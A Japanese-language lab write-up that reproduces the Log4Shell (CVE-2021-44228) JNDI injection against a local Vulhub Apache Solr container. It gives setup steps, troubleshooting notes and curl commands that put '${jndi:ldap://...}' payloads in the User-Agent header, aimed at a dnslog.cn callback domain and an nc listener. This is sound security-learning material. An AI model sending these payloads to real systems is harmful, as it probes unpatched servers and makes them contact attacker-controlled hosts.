
CVE-2021-44228 脆弱性再現の完全記録(環境構築、トリガー検証を含む)
本記録は、Vulhub が提供する Apache Solr 8.11.0 のターゲット環境に基づき、Log4j2 JNDI インジェクション脆弱性を完全に再現し、DNSLog およびローカル LDAP リスニングによって脆弱性の存在を確認したものです。
vulhub/log4j/CVE-2021-44228)GitHub への直接接続が不安定なため、Gitee ミラーで高速化:
cd D:\\SecWork
git clone https://gitee.com/hanxu2486/vulhub.git
Alibaba Cloud 専用イメージアクセラレータを設定(コンテナイメージサービスにログインし、個人用アドレスを取得):
registry-mirrors を修正:{
"registry-mirrors": ["https://xxxxx.mirror.aliyuncs.com"]
}
それでも TLS handshake timeout が発生する場合は、WSL で sudo hwclock -s を実行して時刻を同期。
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
docker-compose up -d
出力に成功表示:
✔ Image vulhub/solr:8.11.0 Pulled 117.7s
✔ Container cve-2021-44228-solr-1 Started
http://localhost:8983/solr にアクセスして Solr 管理画面が表示されれば環境準備完了。
Solr にはデフォルトで core がないため、手動で作成:
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
"status":0 が返り、core test が作成成功。
ブラウザで http://dnslog.cn にアクセスし、Get SubDomain をクリックして一時ドメイン(例:abc123.dnslog.cn)を取得。
コマンドラインで以下を実行(PowerShell のエイリアス干渉を避けるため curl.exe を使用):
curl.exe -H 'User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
http://dnslog.cn ページに戻り Refresh Record をクリックすると、DNS 解決レコードが即座に表示され、脆弱性の存在が確認できる。
WSL でリスナーを起動:nc -lvp 1389
ホスト OS の IP を取得(Windows PowerShell で ipconfig を実行し、WSL 仮想 NIC の IP(例:172.30.208.1)を確認)。
ローカル IP を含む悪意のあるリクエストを送信:
curl.exe -H 'User-Agent: ${jndi:ldap://172.30.208.1:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
nc ウィンドウを観察すると、接続情報が表示:
connect to [172.30.208.1] from localhost [127.0.0.1] 54321
Solr が正常に攻撃機へ LDAP クエリを送信したことを示しており、脆弱性の再現に成功。
Apache Log4j2 が提供する JndiLookup 機能により、ログメッセージ内で ${jndi:ldap://...} 形式のプレースホルダーを使用できます。ログメッセージが記録されると、Log4j2 はこのプレースホルダーを解析し、JNDI 経由でリモート LDAP サーバーにアクセスしようとします。攻撃者は悪意のある LDAP サーバーを設置し、Java デシリアライゼーションペイロードを返すことで、リモートコード実行を実現できます。
本再現では、User-Agent ヘッダーに悪意のあるペイロードを設定することで、Solr がリクエスト処理時にこのヘッダーを記録し、JNDI クエリをトリガーし、脆弱性の存在を示しました。
✅ Vulhub 脆弱性環境の構築に成功し、国内ネットワーク環境下での様々な問題(DNS ハイジャック、イメージアクセラレータ、WSL 時刻同期など)を克服。
✅ 独立して脆弱性をトリガーし、DNSLog とローカルリスニングの 2 つの方法で JNDI インジェクションを検証。
✅ Log4Shell 脆弱性の原理と JNDI インジェクションの攻撃チェーンを深く理解。
✅ Docker ネットワークトラブルシューティング、WSL2 設定、Git プロキシクリアなどの実戦経験を蓄積。
| 問題現象 | 根本原因 | 解決方法 |
|---|---|---|
| git clone 502 / 接続タイムアウト | DNS ハイジャック / プロキシ干渉 | Gitee ミラーを使用、Git プロキシを削除、DNS をフラッシュ |
| Docker イメージプル 429 | 公共イメージソースのレート制限 | Alibaba Cloud 専用アクセラレータを設定 |
| TLS handshake timeout | WSL2 の時刻が同期していない | sudo hwclock -s で時刻を同期 |
| 脆弱性がトリガーされない | core が未作成、またはペイロード位置が誤り | core を作成し、User-Agent ヘッダーを使用 |
# Vulhub のクローン(Gitee ミラー使用)
git clone https://gitee.com/hanxu2486/vulhub.git
# 脆弱性ディレクトリに移動
cd D:\SecWork\vulhub\log4j\CVE-2021-44228
# 環境起動
docker-compose up -d
# Solr Core の作成
curl "http://localhost:8983/solr/admin/cores?action=CREATE&name=test&configSet=_default"
# DNSLog 検証
curl -H 'User-Agent: ${jndi:ldap://your.dnslog.cn/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# ローカルリスニング検証(WSL で nc を実行)
nc -lvp 1389
curl -H 'User-Agent: ${jndi:ldap://your.wsl.ip:1389/test}' 'http://localhost:8983/solr/test/select?q=*:*'
# 環境停止
docker-compose down
作成日:2026年6月
作者:HanXu
リポジトリ:https://github.com/hmxh123/Log4Shell-Vulnerability-Replication